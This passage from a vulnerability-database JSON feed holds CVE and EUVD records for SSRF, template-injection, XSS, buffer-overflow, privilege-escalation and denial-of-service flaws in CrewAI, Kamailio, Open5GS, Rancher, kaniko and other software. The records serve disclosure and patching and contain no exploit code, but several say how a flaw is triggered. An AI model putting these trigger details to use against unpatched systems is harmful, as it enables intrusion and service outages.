Access"]},"ghsa":null},{"cve_id":"CVE-2026-120630","summary":"CrewAI contains an SSRF vulnerability caused by its SSRF guard and HTTP client, which both miss malicious content in URLs by checking opposite content passed to it, enabling any request that injects a malicious URL to perform SSRF, such as with the ScrapWebsiteTool.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.crewai.com/v1.15.16/en/tools/web-scraping/scrapewebsitetool","https://github.com/crewAIInc/crewAI/pull/6981","https://www.badcast.dev/blog/parser-differential-ssrf-ai-agents/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:52","euvd":{"id":"EUVD-2026-115354","description":"CrewAI contains an SSRF vulnerability caused by its SSRF guard and HTTP client, which both miss malicious content in URLs by checking opposite content passed to it, enabling any request that injects a malicious URL to perform SSRF, such as with the ScrapWebsiteTool.","published_time":"2026-11-02T17:37:05","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"certcc","references":["https://docs.crewai.com/v1.15.16/en/tools/web-scraping/scrapewebsitetool","https://www.badcast.dev/blog/parser-differential-ssrf-ai-agents/","https://github.com/crewAIInc/crewAI/pull/6981"],"products":["CrewAI"],"vendors":["CrewAI"]},"ghsa":null},{"cve_id":"CVE-2026-120416","summary":"A security vulnerability has been detected in AndyFactory newspaper4k up to 0.9.6. This affects the function Article.parse of the file newspaper/extractors/image_extractor.py of the component Image Extractor. Such manipulation leads to server-side request forgery. It is possible to launch the attack remotely. Upgrading to version 0.9.6.1 mitigates this issue. The name of the patch is eec5fab21897c14667c98f5ba1831ebd3a692dd4. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.","cvss":6.9,"cvss_version":4.0,"cvss_v2":5.0,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AndyTheFactory/newspaper4k/commit/eec5fab21897c14667c98f5ba1831ebd3a692dd4","https://github.com/AndyTheFactory/newspaper4k/issues/741","https://github.com/AndyTheFactory/newspaper4k/releases/tag/0.9.6.1","https://pypi.org/project/newspaper4k/0.9.6.1/","https://vuldb.com/cve/CVE-2026-120416","https://vuldb.com/submit/1026136","https://vuldb.com/vuln/429801","https://vuldb.com/vuln/429801/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:50","euvd":{"id":"EUVD-2026-115350","description":"A security vulnerability has been detected in AndyFactory newspaper4k up to 0.9.6. This affects the function Article.parse of the file newspaper/extractors/image_extractor.py of the component Image Extractor. Such manipulation leads to server-side request forgery. It is possible to launch the attack remotely. Upgrading to version 0.9.6.1 mitigates this issue. The name of the patch is eec5fab21897c14667c98f5ba1831ebd3a692dd4. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.","published_time":"2026-11-02T18:00:24","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/429801","https://vuldb.com/vuln/429801/cti","https://vuldb.com/cve/CVE-2026-120416","https://vuldb.com/submit/1026136","https://github.com/AndyTheFactory/newspaper4k/issues/741","https://pypi.org/project/newspaper4k/0.9.6.1/","https://github.com/AndyTheFactory/newspaper4k/commit/eec5fab21897c14667c98f5ba1831ebd3a692dd4","https://github.com/AndyTheFactory/newspaper4k/releases/tag/0.9.6.1"],"products":["newspaper4k","newspaper4k","newspaper4k","newspaper4k","newspaper4k","newspaper4k","newspaper4k"],"vendors":["AndyFactory"]},"ghsa":null},{"cve_id":"CVE-2026-119085","summary":"Improper neutralization of special elements used in a template engine in the publishing component of Amazon Virtual Engineering Workbench (VEW) could allow a remote authenticated third party to run arbitrary code with the permissions of the publishing Lambda's IAM role. This could allow access to data and resources across all tenant projects. The code is reachable through a crafted CloudFormation template body containing template engine directives submitted through the product versioning API.\n\n\n\nTo remediate this issue, users should redeploy from the latest version of awslabs/virtual-engineering-workbench.","cvss":9.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":9.4,"epss":0.00481,"ranking_epss":0.41527,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-162-aws/","https://github.com/awslabs/virtual-engineering-workbench/commit/c146486cec41f5b04fae57e9ce1a7fb40e695615","https://github.com/awslabs/virtual-engineering-workbench/security/advisories/GHSA-mf9w-9v72-cqm9"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:44","euvd":{"id":"EUVD-2026-115348","description":"Improper neutralization of special elements used in a template engine in the publishing component of Amazon Virtual Engineering Workbench (VEW) could allow a remote authenticated third party to run arbitrary code with the permissions of the publishing Lambda's IAM role. This could allow access to data and resources across all tenant projects. The code is reachable through a crafted CloudFormation template body containing template engine directives submitted through the product versioning API.\n\n\n\nTo remediate this issue, users should redeploy from the latest version of awslabs/virtual-engineering-workbench.","published_time":"2026-11-02T17:37:08","cvss":9.4,"cvss_version":"4.0","epss":0.0,"assigner":"AMZN","references":["https://github.com/awslabs/virtual-engineering-workbench/commit/c146486cec41f5b04fae57e9ce1a7fb40e695615","https://aws.amazon.com/security/security-bulletins/2026-162-aws/","https://github.com/awslabs/virtual-engineering-workbench/security/advisories/GHSA-mf9w-9v72-cqm9"],"products":["virtual-engineering-workbench"],"vendors":["aws"]},"ghsa":null},{"cve_id":"CVE-2026-117067","summary":"An out-of-bounds memory access vulnerability in the N2 SCTP interface of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) by repeatedly establishing SCTP associations, resulting in a process crash due to improper file descriptor bounds checking in the FD_SET() operation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/87ecc801e93860fb41a220090f99f4d7","https://github.com/openairinterface/oai-cn5g-amf/issues/14"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:43","euvd":{"id":"EUVD-2026-115355","description":"An out-of-bounds memory access vulnerability in the N2 SCTP interface of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) by repeatedly establishing SCTP associations, resulting in a process crash due to improper file descriptor bounds checking in the FD_SET() operation.","published_time":"2026-11-02T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/openairinterface/oai-cn5g-amf/issues/14","https://gist.github.com/hackeryounow/87ecc801e93860fb41a220090f99f4d7"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-117068","summary":"An integer underflow vulnerability in the NAS decoder of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) via crafted NAS Registration Requests containing a truncated SUCI in the 5GS Mobile Identity IE. Insufficient length validation in the DecodeSuci() function results in an out-of-bounds heap read, causing the AMF process to crash.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/aa1df06bb785bda0952a30939dcb9a76","https://github.com/openairinterface/oai-cn5g-amf/pull/26/commits/c5178c644f87c5ef8828353192fea464d977e17b","https://github.com/openairinterface/oai-cn5g-ausf/issues/7"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:43","euvd":{"id":"EUVD-2026-115356","description":"An integer underflow vulnerability in the NAS decoder of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) via crafted NAS Registration Requests containing a truncated SUCI in the 5GS Mobile Identity IE. Insufficient length validation in the DecodeSuci() function results in an out-of-bounds heap read, causing the AMF process to crash.","published_time":"2026-11-02T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/openairinterface/oai-cn5g-ausf/issues/7","https://gist.github.com/hackeryounow/aa1df06bb785bda0952a30939dcb9a76","https://github.com/openairinterface/oai-cn5g-amf/pull/26/commits/c5178c644f87c5ef8828353192fea464d977e17b"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-111048","summary":"FOSSBilling is an open source billing and client-management platform. From 0.1.0 until 0.8.9, the admin/support/note_create endpoint stores the note parameter without sanitization in the support_ticket_note table, and src/modules/Support/templates/admin/mod_support_tickets.html.twig renders each stored support ticket note through innerHTML in the admin ticket list. A staff user with only the support.manage_tickets permission can store HTML or JavaScript that executes when another staff member opens the ticket notes. The script runs with the viewing staff member's session and privileges, can read a CSRF token and accessible client or invoice data, and can perform administrative actions available to the viewer, including a Super Administrator. The ticket detail page is not affected because its Twig rendering uses autoescaping. This issue is fixed in version 0.8.9.","cvss":8.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.4,"epss":0.00278,"ranking_epss":0.20316,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FOSSBilling/FOSSBilling/commit/87528920b6cb1ba6f113583253eb4d7abdd1d8c6","https://github.com/FOSSBilling/FOSSBilling/pull/4548","https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.9","https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-493h-fvcx-6q62"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:35","euvd":{"id":"EUVD-2026-115349","description":"FOSSBilling is an open source billing and client-management platform. From 0.1.0 until 0.8.9, the admin/support/note_create endpoint stores the note parameter without sanitization in the support_ticket_note table, and src/modules/Support/templates/admin/mod_support_tickets.html.twig renders each stored support ticket note through innerHTML in the admin ticket list. A staff user with only the support.manage_tickets permission can store HTML or JavaScript that executes when another staff member opens the ticket notes. The script runs with the viewing staff member's session and privileges, can read a CSRF token and accessible client or invoice data, and can perform administrative actions available to the viewer, including a Super Administrator. The ticket detail page is not affected because its Twig rendering uses autoescaping. This issue is fixed in version 0.8.9.","published_time":"2026-11-02T17:46:11","cvss":8.4,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-493h-fvcx-6q62","https://github.com/FOSSBilling/FOSSBilling/pull/4548","https://github.com/FOSSBilling/FOSSBilling/commit/87528920b6cb1ba6f113583253eb4d7abdd1d8c6","https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.9"],"products":["FOSSBilling"],"vendors":["fossbilling"]},"ghsa":null},{"cve_id":"CVE-2026-106808","summary":"OpenAirInterface Core Network v2.2.1 has a stack-based buffer overflow vulnerability in the OAI CN5G UDM Nudm_UEAU Generate Authentication Data endpoint. The UDM passes attacker-controlled resynchronizationInfo.rand and auts values to conv::hex_str_to_uint8(), which converts arbitrary-length hex strings into fixed-size stack buffers without validating the destination size. An unauthenticated attacker with access to the SBI interface and a valid SUPI can submit an oversized value to overwrite adjacent stack memory, corrupt the stack canary, and terminate the UDM process.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/66b7612729af8e205089097e68a42116","https://github.com/openairinterface/oai-cn5g-udm/issues/4","https://github.com/openairinterface/oai-cn5g-udm/issues/4"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:34","euvd":{"id":"EUVD-2026-115351","description":"OpenAirInterface Core Network v2.2.1 has a stack-based buffer overflow vulnerability in the OAI CN5G UDM Nudm_UEAU Generate Authentication Data endpoint. The UDM passes attacker-controlled resynchronizationInfo.rand and auts values to conv::hex_str_to_uint8(), which converts arbitrary-length hex strings into fixed-size stack buffers without validating the destination size. An unauthenticated attacker with access to the SBI interface and a valid SUPI can submit an oversized value to overwrite adjacent stack memory, corrupt the stack canary, and terminate the UDM process.","published_time":"2026-11-02T00:00:00","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"mitre","references":["https://github.com/openairinterface/oai-cn5g-udm/issues/4","https://gist.github.com/hackeryounow/66b7612729af8e205089097e68a42116"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2024-12139","summary":"The error handling implementation fails to properly sanitize or validate user-supplied input within URL parameters under specific conditions. This allows end-users to manipulate the error messages that are displayed by the application.\n\nBy exploiting this vulnerability, malicious actors can inject arbitrary content into error messages. This enables them to perform social engineering attacks, such as phishing or credential theft, by replacing legitimate error messages with malicious content, misleading users into compromising sensitive information or taking harmful actions.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2024-3805/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:33","euvd":{"id":"EUVD-2024-55841","description":"The error handling implementation fails to properly sanitize or validate user-supplied input within URL parameters under specific conditions. This allows end-users to manipulate the error messages that are displayed by the application.\n\nBy exploiting this vulnerability, malicious actors can inject arbitrary content into error messages. This enables them to perform social engineering attacks, such as phishing or credential theft, by replacing legitimate error messages with malicious content, misleading users into compromising sensitive information or taking harmful actions.","published_time":"2026-11-02T17:34:20","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"WSO2","references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2024-3805/"],"products":["WSO2 Identity Server","WSO2 Identity Server","WSO2 Identity Server as Key Manager","WSO2 API Manager","WSO2 API Manager","WSO2 Identity Server","WSO2 API Manager"],"vendors":["WSO2"]},"ghsa":null},{"cve_id":"CVE-2026-106806","summary":"A memory exhaustion issue exists in Open5GS v2.8.0 in the HTTP/2 SBI server. Repeated header names cause previously allocated header strings to be leaked, and HPACK compression allows an unauthenticated remote attacker to trigger tens of thousands of duplicate headers with a small request. Repeated crafted requests can cause persistent heap growth, exhaust process memory, and terminate the affected Open5GS network function, resulting in denial of service.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/c923fad9de83011004bd7d078b817dc0","https://github.com/open5gs/open5gs/commit/76f15375ead1b2db09193458e56640da0a86c255","https://github.com/open5gs/open5gs/issues/4788"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:33","euvd":{"id":"EUVD-2026-115352","description":"A memory exhaustion issue exists in Open5GS v2.8.0 in the HTTP/2 SBI server. Repeated header names cause previously allocated header strings to be leaked, and HPACK compression allows an unauthenticated remote attacker to trigger tens of thousands of duplicate headers with a small request. Repeated crafted requests can cause persistent heap growth, exhaust process memory, and terminate the affected Open5GS network function, resulting in denial of service.","published_time":"2026-11-02T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/open5gs/open5gs/issues/4788","https://github.com/open5gs/open5gs/commit/76f15375ead1b2db09193458e56640da0a86c255","https://gist.github.com/hackeryounow/c923fad9de83011004bd7d078b817dc0"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-88810","summary":"A privilege escalation issue was discovered in Rancher Manager's role-based access control. The inheritedNamespacedRules field of a GlobalRole propagates permissions into named namespaces of every downstream cluster managed by the Rancher instance, but it was not subject to the privilege-escalation validation applied to the other permission-carrying fields of a GlobalRole. As a result, a non-administrative user could be granted, through a global role  binding, permissions in downstream clusters that exceed the permissions that user already holds. This affected SUSE Rancher 2.15.2 only, and SUSE Rancher Webhook 0.11.0 up to 0.11.4, and 0.12.0 up to 0.12.1.","cvss":7.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":null,"epss":0.00476,"ranking_epss":0.41177,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/rancher/webhook/security/advisories/GHSA-f898-2c8h-r7jc"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:45","euvd":{"id":"EUVD-2026-115328","description":"A privilege escalation issue was discovered in Rancher Manager's role-based access control. The inheritedNamespacedRules field of a GlobalRole propagates permissions into named namespaces of every downstream cluster managed by the Rancher instance, but it was not subject to the privilege-escalation validation applied to the other permission-carrying fields of a GlobalRole. As a result, a non-administrative user could be granted, through a global role  binding, permissions in downstream clusters that exceed the permissions that user already holds. This affected SUSE Rancher 2.15.2 only, and SUSE Rancher Webhook 0.11.0 up to 0.11.4, and 0.12.0 up to 0.12.1.","published_time":"2026-11-02T16:29:46","cvss":7.2,"cvss_version":"3.1","epss":0.0,"assigner":"suse","references":["https://github.com/rancher/webhook/security/advisories/GHSA-f898-2c8h-r7jc"],"products":["Rancher","Rancher","Rancher"],"vendors":["SUSE"]},"ghsa":null},{"cve_id":"CVE-2026-88811","summary":"Missing filtering in the SUSE Rancher Manager meta proxy could cause passed in rancher credentials to be leaked to cloud providers. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11,","cvss":9.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.1,"cvss_v4":null,"epss":0.00427,"ranking_epss":0.36989,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/rancher/rancher/security/advisories/GHSA-x82x-2qj6-5rm2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:45","euvd":{"id":"EUVD-2026-115330","description":"Missing filtering in the SUSE Rancher Manager meta proxy could cause passed in rancher credentials to be leaked to cloud providers. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11,","published_time":"2026-11-02T16:48:44","cvss":9.1,"cvss_version":"3.1","epss":0.0,"assigner":"suse","references":["https://github.com/rancher/rancher/security/advisories/GHSA-x82x-2qj6-5rm2"],"products":["Rancher","Rancher","Rancher","Rancher","Rancher"],"vendors":["SUSE"]},"ghsa":null},{"cve_id":"CVE-2026-65059","summary":"Furl versions through 3.15 for Perl allow memory exhaustion via unbounded decompression of HTTP responses.\n\nFurl inflates a response body sent with a gzip, x-gzip or deflate Content-Encoding and appends the output to the response string with no size limit. It does this whether or not the request asked for compression, and no option caps the decompressed size. Responses read with write_file or write_code are streamed rather than held in memory.\n\nA malicious server, or an attacker on a plain HTTP connection, can send a small compressed response that expands to exhaust the client's memory and end the process.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/tokuhirom/Furl/pull/139","https://metacpan.org/release/SYOHEX/Furl-3.15/source/lib/Furl/ZlibStream.pm","http://www.openwall.com/lists/oss-security/2026/11/02/5"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:44","euvd":{"id":"EUVD-2026-115332","description":"Furl versions through 3.15 for Perl allow memory exhaustion via unbounded decompression of HTTP responses.\n\nFurl inflates a response body sent with a gzip, x-gzip or deflate Content-Encoding and appends the output to the response string with no size limit. It does this whether or not the request asked for compression, and no option caps the decompressed size. Responses read with write_file or write_code are streamed rather than held in memory.\n\nA malicious server, or an attacker on a plain HTTP connection, can send a small compressed response that expands to exhaust the client's memory and end the process.","published_time":"2026-11-02T17:01:28","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"CPANSec","references":["https://metacpan.org/release/SYOHEX/Furl-3.15/source/lib/Furl/ZlibStream.pm","https://github.com/tokuhirom/Furl/pull/139"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-120596","summary":"A remotely exploitable denial-of-service vulnerability exists in the TCP options parser of the Nut/Net TCP/IP stack included in Nut/OS, developed by Ethernut/Egnite. Nut/OS releases up to version 5.1 are affected. An unauthenticated attacker can send a single TCP segment containing an unknown TCP option with a length byte of zero to any open TCP port on a vulnerable device. When processed, this malformed option triggers an infinite loop in the function NutTcpInputOptions, permanently blocking the TCP processing thread and rendering all TCP-based services unresponsive until the device is rebooted.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.ethernut.de/en/download/index.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:40","euvd":{"id":"EUVD-2026-115333","description":"A remotely exploitable denial-of-service vulnerability exists in the TCP options parser of the Nut/Net TCP/IP stack included in Nut/OS, developed by Ethernut/Egnite. Nut/OS releases up to version 5.1 are affected. An unauthenticated attacker can send a single TCP segment containing an unknown TCP option with a length byte of zero to any open TCP port on a vulnerable device. When processed, this malformed option triggers an infinite loop in the function NutTcpInputOptions, permanently blocking the TCP processing thread and rendering all TCP-based services unresponsive until the device is rebooted.","published_time":"2026-11-02T17:04:18","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"certcc","references":["https://www.ethernut.de/en/download/index.html"],"products":["Nut/Net TCP/IP Stack"],"vendors":["Ethernut / egnite GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-119301","summary":"Improper neutralization of quoting syntax in SQL identifier construction in the Apache Iceberg write component in AWS SDK for pandas (also published as awswrangler) 3.5.2 through 3.17.0 might allow an authenticated remote user with permission to modify AWS Glue Data Catalog metadata to read any table that a separate, more privileged principal can access and write to the table that principal is updating via a crafted column name.\n\n\n\nTo remediate this issue, users should upgrade to version 3.17.1 or later.","cvss":5.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.9,"cvss_v4":5.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-161-aws/","https://github.com/aws/aws-sdk-pandas/releases/tag/3.17.1","https://github.com/aws/aws-sdk-pandas/security/advisories/GHSA-g8fh-6w6x-mhqf"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:39","euvd":{"id":"EUVD-2026-115329","description":"Improper neutralization of quoting syntax in SQL identifier construction in the Apache Iceberg write component in AWS SDK for pandas (also published as awswrangler) 3.5.2 through 3.17.0 might allow an authenticated remote user with permission to modify AWS Glue Data Catalog metadata to read any table that a separate, more privileged principal can access and write to the table that principal is updating via a crafted column name.\n\n\n\nTo remediate this issue, users should upgrade to version 3.17.1 or later.","published_time":"2026-11-02T16:34:53","cvss":5.0,"cvss_version":"4.0","epss":0.0,"assigner":"AMZN","references":["https://github.com/aws/aws-sdk-pandas/security/advisories/GHSA-g8fh-6w6x-mhqf","https://github.com/aws/aws-sdk-pandas/releases/tag/3.17.1","https://aws.amazon.com/security/security-bulletins/2026-161-aws/"],"products":["aws-sdk-pandas"],"vendors":["aws"]},"ghsa":null},{"cve_id":"CVE-2026-106804","summary":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_qos_npn module. The w_rx_aar_register() function copies the attacker-controlled host field from the SIP `Via` header into a fixed 46-byte stack buffer without validating its length. An unauthenticated remote attacker can trigger the vulnerability with a crafted SIP `REGISTER` request, causing stack corruption and termination of the affected Kamailio instance, resulting in denial of service.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/f5af75502ea6df600428c46bb9bbf39e","https://github.com/kamailio/kamailio/issues/4953","https://github.com/kamailio/kamailio/issues/4953"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:33","euvd":{"id":"EUVD-2026-115345","description":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_qos_npn module. The w_rx_aar_register() function copies the attacker-controlled host field from the SIP `Via` header into a fixed 46-byte stack buffer without validating its length. An unauthenticated remote attacker can trigger the vulnerability with a crafted SIP `REGISTER` request, causing stack corruption and termination of the affected Kamailio instance, resulting in denial of service.","published_time":"2026-11-02T00:00:00","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"mitre","references":["https://github.com/kamailio/kamailio/issues/4953","https://gist.github.com/hackeryounow/f5af75502ea6df600428c46bb9bbf39e"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-106805","summary":"A resource exhaustion issue exists in Free5GC v4.2.3 during PFCP Session Establishment failure handling. When the SMF does not receive a PFCP Session Establishment Response from the UPF, allocated UE IP address resources are not properly released. Repeated failed session establishment attempts can therefore exhaust the UE IP address pool, preventing new UEs from establishing PDU sessions and resulting in denial of service.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/484987c16806c76dd53a8a87355dd0c2","https://github.com/free5gc/free5gc/issues/1162","https://github.com/free5gc/smf/pull/236"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:33","euvd":{"id":"EUVD-2026-115346","description":"A resource exhaustion issue exists in Free5GC v4.2.3 during PFCP Session Establishment failure handling. When the SMF does not receive a PFCP Session Establishment Response from the UPF, allocated UE IP address resources are not properly released. Repeated failed session establishment attempts can therefore exhaust the UE IP address pool, preventing new UEs from establishing PDU sessions and resulting in denial of service.","published_time":"2026-11-02T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/free5gc/free5gc/issues/1162","https://github.com/free5gc/smf/pull/236","https://gist.github.com/hackeryounow/484987c16806c76dd53a8a87355dd0c2"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-106807","summary":"A denial-of-service vulnerability exists in open5GS v2.8.0 in the PFCP transaction handling path. When the PFCP transaction or timer resource pool is exhausted, ogs_pfcp_xact_remote_create() returns NULL, but the failure is not handled properly and leads to an ogs_assert(new) failure in ogs_pfcp_xact_receive(). An attacker able to send PFCP messages to the affected SMF/UPF can exhaust transaction resources and cause the network function process to terminate with SIGABRT, resulting in service disruption and preventing further session establishment until the affected component is restarted.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/a453020171ed5bc36036fb05c5fd448e","https://github.com/open5gs/open5gs/commit/d91af3b0ac59f6e9dab25718ef4eed9cbf2813ca","https://github.com/open5gs/open5gs/issues/4791"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:33","euvd":{"id":"EUVD-2026-115347","description":"A denial-of-service vulnerability exists in open5GS v2.8.0 in the PFCP transaction handling path. When the PFCP transaction or timer resource pool is exhausted, ogs_pfcp_xact_remote_create() returns NULL, but the failure is not handled properly and leads to an ogs_assert(new) failure in ogs_pfcp_xact_receive(). An attacker able to send PFCP messages to the affected SMF/UPF can exhaust transaction resources and cause the network function process to terminate with SIGABRT, resulting in service disruption and preventing further session establishment until the affected component is restarted.","published_time":"2026-11-02T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/open5gs/open5gs/issues/4791","https://github.com/open5gs/open5gs/commit/d91af3b0ac59f6e9dab25718ef4eed9cbf2813ca","https://gist.github.com/hackeryounow/a453020171ed5bc36036fb05c5fd448e"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-106803","summary":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_registrar_pcscf module. When processing a crafted application/reginfo+xml NOTIFY message, process_contact() copies an attacker-controlled port value from the alias parameter into a fixed 5-byte stack buffer without validating its length. An unauthenticated remote attacker can trigger stack corruption and terminate the P-CSCF process, resulting in denial of service.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":0.00285,"ranking_epss":0.211,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/7d7ccc9ec501a5d8c9143b2e1bcc11cb","https://github.com/kamailio/kamailio/commit/21261436492f0014930e804e20586e3833bb91b9","https://github.com/kamailio/kamailio/issues/4954","https://github.com/kamailio/kamailio/pull/4958","https://github.com/kamailio/kamailio/issues/4954"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:33","euvd":{"id":"EUVD-2026-115344","description":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_registrar_pcscf module. When processing a crafted application/reginfo+xml NOTIFY message, process_contact() copies an attacker-controlled port value from the alias parameter into a fixed 5-byte stack buffer without validating its length. An unauthenticated remote attacker can trigger stack corruption and terminate the P-CSCF process, resulting in denial of service.","published_time":"2026-11-02T00:00:00","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"mitre","references":["https://github.com/kamailio/kamailio/issues/4954","https://github.com/kamailio/kamailio/pull/4958","https://github.com/kamailio/kamailio/commit/21261436492f0014930e804e20586e3833bb91b9","https://gist.github.com/hackeryounow/7d7ccc9ec501a5d8c9143b2e1bcc11cb"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-105769","summary":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. 